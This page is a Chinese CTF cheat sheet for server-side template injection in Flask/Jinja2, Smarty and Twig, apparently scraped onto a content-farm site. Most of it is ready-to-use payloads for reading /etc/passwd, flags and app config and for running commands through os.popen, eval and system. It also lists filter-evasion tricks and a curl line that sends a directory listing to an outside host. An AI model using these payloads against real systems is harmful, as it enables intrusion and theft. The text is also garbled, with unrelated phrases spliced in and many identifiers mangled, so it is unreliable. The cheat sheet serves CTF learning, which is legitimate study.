CTFSSTI(服务器模板注入)

更新时间:2023-07-25 18:23:30 阅读: 评论:0

CTFSSTI(服务器模板注⼊)
基本判断
渲染模板
flask/jinja
乙酰辅酶A羧化酶
flask SSTI的基本思路就是利⽤python中的魔术⽅法找到⾃⼰要⽤的函数
__dict__ 保存类实例或对象实例的属性变量键值对字典
__class__  返回类型所属的对象
__mro__    返回⼀个包含对象所继承的基类元组,⽅法在解析时按照元组的顺序解析。
__bas__  返回该对象所继承的基类
// __ba__和__mro__都是⽤来寻找基类的
__subclass__  每个新类都保留了⼦类的引⽤,这个⽅法返回⼀个类中仍然可⽤的的引⽤的列表
__init__  类的初始化⽅法
__globals__  对包含函数全局变量的字典的引⽤
⼀些姿势
1、config
{{config}}可以获取当前设置,如果题⽬类似fig ['FLAG'] = os.environ.pop('FLAG'),那可以直接访问{{config['FLAG']}}或者{{config.FLAG}}得到flag
2、lf
{{lf}} ⇒ <TemplateReference None>
{{lf.__dict__._TemplateReference__fig}} ⇒同样可以找到config
3、""、[]、()等数据结构
主要⽬的是配合__class__.__mro__[2]这样找到object类
{{[].__class__.__ba__.__subclass__()[68].__init__.__globals__['os'].__dict__.environ['FLAG']}}
4、url_for, g, request, namespace, lipsum, range, ssion, dict, get_flashed_messages, cycler, joiner, config等
如果config,lf不能使⽤,要获取配置信息,就必须从它的上部全局变量(访问配置current_app等)
例如:
{{url_for.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}
{{request.application.__lf__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}常⽤绕过
以下表⽰法可⽤于访问对象的属性:
request.__class__
request["__class__"]
request|attr("__class__")
可以使⽤以下⽅法访问数组元素:
array[0]
array.pop(0)
普鲁本辛array.__getitem__(2)
(1)过滤[]和.
只过滤[]
pop() 函数⽤于移除列表中的⼀个元素(默认最后⼀个元素),并且返回该元素的值。
''.__class__.__mro__.__getitem__(2).__subclass__().pop(40)('/etc/passwd').read()
若.也被过滤,使⽤原⽣JinJa2函数|attr()
将request.__class__改成request|attr("__class__")
(2)过滤_
利⽤request.args属性
{{ ''[request.args.class][][2][request.args.subclass]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclass=__subclass__
将其中的request.args改为request.values则利⽤post的⽅式进⾏传参
(3)关键字过滤
ba64编码绕过
__getattribute__使⽤实例访问属性时,调⽤该⽅法
例如被过滤掉__class__关键词
{{[].__getattribute__('X19jbGFzc19f'.decode('ba64')).__ba__.__subclass__()[40]("/etc/passwd").read()}}
字符串拼接绕过
{{[].__getattribute__('__c'+'lass__').__ba__.__subclass__()[40]("/etc/passwd").read()}}
{{[].__getattribute__(['__c','lass__']|join).__ba__.__subclass__()[40]}}四格魔方
(4)过滤{{
使⽤{% if ... %}1{% endif %},例如
{% if ''.__class__.__mro__[2].__subclass__()[59].__init__.func_globals.linecache.os.popen('curl http.bin.buuoj/1inhq4f1 -d `ls / |  grep fl ag`;') %}1{% endif %}
如果不能执⾏命令,读取⽂件可以利⽤盲注的⽅法逐位将内容爆出来
{% if ''.__class__.__mro__[2].__subclass__()[40]('/tmp/test').read()[0:1]=='p' %}1{% endif %}
(5)引号内⼗六进制绕过
{{"".__class__}}
{{""["\x5f\x5fclass\x5f\x5f"]}}
_是\x5f,.是\x2E
(6)" ' chr等被过滤,⽆法引⼊字符串
直接拼接键名
dict(buil=aa,tins=dd)|join()
利⽤string、pop、list、slice、first等过滤器从已有变量⾥⾯直接找
(app.__doc__|list()).pop(102)|string()pu皮质
构造出%和c后,⽤格式化字符串代替chr
{%t udl=dict(a=pc,c=c).values()|join %}      # uld=%c
{%t i1=dict(a=i1,c=udl%(99)).values()|join %}
(7)+等被过滤,⽆法拼接字符串
~
在jinja中可以拼接字符串
格式化字符串
同上
payload
python2
开题报告评语{{().__class__.__bas__[0].__subclass__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
{{''.__class__.__mro__[2].__subclass__()[40]('/etc/passwd').read()}}
{{()["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbas\x5F\x5F"][0]["\x5F\x5Fsubclass\x5F\x5F"]()[91]["get\x5Fdata"](0, "app\x2Epy")}}
{{().__class__.__bas__[0].__subclass__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').system('whoami')")}}
{{()["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbas\x5F\x5F"][0]["\x5F\x5Fsubclass\x5F\x5F"]()[80]["load\x5Fmodule"]("os")["system"]("ls")}} {{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fim port\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
python3
{{().__class__.__bas__[0].__subclass__()[177].__init__.__globals__.__builtins__['open']('/flag').r
ead()}}
父亲节的来历
{{().__class__.__bas__[0].__subclass__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}
不⽤找类
{% for x in ().__class__.__ba__.__subclass__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}
{%endif%}{%endfor%}
以上思路都是找os,也可以找__builtins__.eval
Smarty
以下内容出⾃
1、{php}{/php}
Smarty已经废弃{php}标签,强烈建议不要使⽤。在Smarty 3.1,{php}仅在SmartyBC中可⽤
2、{literal}
{literal}可以让⼀个模板区域的字符原样输出。这经常⽤于保护页⾯上的Javascript或css样式表,避免因为Smarty的定界符⽽错被解析。
那么对于php5的环境我们就可以使⽤
<script language="php">phpinfo();</script>
3、{if}
Smarty的{if}条件判断和PHP的if ⾮常相似,只是增加了⼀些特性。每个{if}必须有⼀个配对的{/if}. 也可以使⽤{el} 和 {elif}. 全部的PHP条件表达式和函数都可以在if内使⽤,如||,or,&&,and,is_array(), 等等
{if phpinfo()}{/if}
4、getStreamVariable
新版本失效
{lf::getStreamVariable("file:///etc/passwd")}
twig
⽂件读取
{{'/etc/passwd'|file_excerpt(1,30)}}
{{(1).__construct('/etc/passwd','')}}
{{(1).openFile.fread(99)}}
rce
{{_isterUndefinedFilterCallback("exec")}}{{_Filter("id")}}
{{['cat /etc/passwd']|filter('system')}}
POST /subscribe?0=cat+/etc/passwd HTTP/1.1
{{quest.query.filter(0,0,1024,{'options':'system'})}}
汤饺子怎么调汤
蜀道难教学设计参考链接

本文发布于:2023-07-25 18:23:30,感谢您对本站的认可!

本文链接:https://www.wtabcd.cn/fanwen/fan/82/1116809.html

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。

标签:对象   拼接   返回   字符串   函数   模板   实例
相关文章
留言与评论(共有 0 条评论)
   
验证码:
推荐文章
排行榜
Copyright ©2019-2022 Comsenz Inc.Powered by © 专利检索| 网站地图